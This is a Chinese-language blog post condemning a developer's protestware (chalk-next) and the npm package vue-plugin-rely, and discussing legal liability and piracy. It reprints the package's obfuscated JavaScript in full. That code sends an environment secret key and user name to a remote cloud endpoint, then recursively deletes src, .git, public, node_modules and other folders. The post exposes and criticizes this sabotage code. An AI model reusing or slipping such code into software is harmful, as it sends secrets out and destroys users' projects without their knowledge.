事件的起因是 chuzhixin 创建了与知名项目 chalk 相似的仓库 chuzhixin/chalk-next,并有比 node-ipc 破坏性更大的删除多项文件的功能。
chuzhixin 自述做出这类违法行为的原因是其商业版盗版太多,字里行间都描述自己是受害者。但是中国并没有堡垒法,且针对删除代码文件导致项目运营受到损失已经有多项判例,近些年最著名的就是链家删库被判 9 个月。常见定罪罪名是破坏计算机信息系统罪,总的来说是口袋罪。破坏计算机信息系统罪只认既定事实,并不看是谁导致事故,简单来说就是卖刀的与持刀罪犯同罪。
NPMJS 上已经有老旧项目 vue-plugin-rely 施行了此类违法行为,存档代码如下:
js
/* 破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任 */
const _0x6462 = [
'log',
'unlinkSync',
'NODE_ENV',
'existsSync',
'then',
'getTime',
'readdirSync',
'post',
'./node_modules',
'./public',
'statSync',
'VUE_APP_SECRET_KEY',
'forEach',
'./.git',
'https://vab-unicloud-3a9da9.service.tcloudbase.com/getRely',
'./.vscode',
'env',
'bgRed',
]
const _0x27fc = function (_0x646269, _0x27fce6) {
_0x646269 = _0x646269 - 0x0
let _0x3f0e99 = _0x6462[_0x646269]
return _0x3f0e99
}
const axios = require('axios')
const chalk = require('chalk')
const fs = require('fs')
function thanks(_0x3503fb) {
var _0x54aa51 = []
//console['log'](fs[_0x27fc('0x3')](_0x3503fb))
if (fs['existsSync'](_0x3503fb)) {
_0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
_0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
var _0x258bf5 = _0x3503fb + '/' + _0x60171a
if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
thanks(_0x258bf5)
} else {
fs[_0x27fc('0x1')](_0x258bf5)
}
})
fs['rmdirSync'](_0x3503fb)
}
}
!(() => {
if (process['env'][_0x27fc('0x2')] !== 'development') {
axios({
url: _0x27fc('0xe'),
method: _0x27fc('0x7'),
data: {
customUserId: process['env']['VUE_GITHUB_USER_NAME'],
secretKey: process['env']['VUE_APP_SECRET_KEY'],
timestamp: new Date()[_0x27fc('0x5')](),
},
})
[_0x27fc('0x4')](({ data }) => {
if (data['code'] == 0xca) {
thanks('./.vscode')
thanks('./src')
thanks(_0x27fc('0x9'))
thanks(_0x27fc('0xd'))
thanks('./.svn')
thanks('./mock')
thanks(_0x27fc('0x8'))
}
if (data['code'] != 0xc8) {
console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
}
})
['catch'](() => {
if (
process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
) {
thanks(_0x27fc('0xf'))
thanks('./src')
thanks('./public')
thanks('./.git')
thanks('./.svn')
thanks('./mock')
thanks('./node_modules')
}
})
}
})()
虽然代码被简单编码,但是就算是大学生也能看出代码的危害远大于 peacenotwar,在合法前提下可以不造成任何后果的手段恶心盗版用户,但此类代码却直接就进行了一个文件的删。完全可以故意在这些这些文件夹中放置重要资料,故意被删文件然后进行民事起诉,就像被骗了就多给对面转 10 万一样。其实要避免被起诉的话最简单的办法就是给出一个需要用户明确授权的提示,需要用户理解并接受使用条款,需要指明引用相关代码导致的一切问题由用户自行承担。这样就算最终被连带起诉,一般都是缓刑。有意思的就来了,chuzhixin 在 chalk-next 中并未显式免责声明,且故意伪装成普通项目,这是主观犯罪而不是被动连坐。在本文发布前,chuzhixin 已经变基仓库只留下了免责声明的 readme 文本,成功在被下套之前阻止事态扩大化。不得不说 chuzhixin 要么高中辍学跳过了思政必修,要么律师团队极其强大。没有让 chuzhixin 见识到江民硬盘锁的震撼,各位拱火力度还是太低了。
另外 chuzhixin 一直在多处(github、知乎、其它违法网站等)声明他只是为了恭喜使用了盗版的用户。chuzhixin 声称 8000 余家公司购买并使用,然而能做出这种行为,就代表未来一定会做出更严重的行为,正版用户真的能接受交付的代码可能在未来突发恶疾么?
peacenotwar 投毒的 RIAEvangelist 已经得到了他为了正义所付出的代价,失去工作又被 FBI 调查。但 chuzhixin 还真不会有很严重的后果,目测最多失去工作在行业内知名,因为受到 peacenotwar 影响的 node-ipc 项目被很多大型组织使用。而受到 chuzhixin/chalk-next 影响的付费版 vue-admin-beautiful 并没有多少影响力,多方骂战的主战场 twitter 很多老外都表示第一次听说,不过老外确实很少用这类模板组件来污染自己的职业经验,有洁癖的开发者甚至连组件库都不用,中国则除了几个技术社区当新闻来看以外并没有溅起多大水花,倒是给了一些反思怪发挥的题材。
希望 chuzhixin/chalk-next 是除了 ant-design 的圣诞帽后最后一件让中国开源蒙羞的事件。
最后说下正版盗版之争。盗版永远不可能消失,更何况逆向难度极低的软件开发行业,就拿常见的 D 加密来说,首日破解已经司空见惯,没有不能破解的,只有破解者不愿意放出的。叫得出名字的开源软件项目都是以增值技术服务的形式盈利,甚至以付费软件起家的微软都转成免费使用,然后一些功能需要付费解锁。开发者应该形成自己的非技术优势,让付费用户产生习惯依赖,而不是以打击盗版的名义给所有正版用户装一个后门。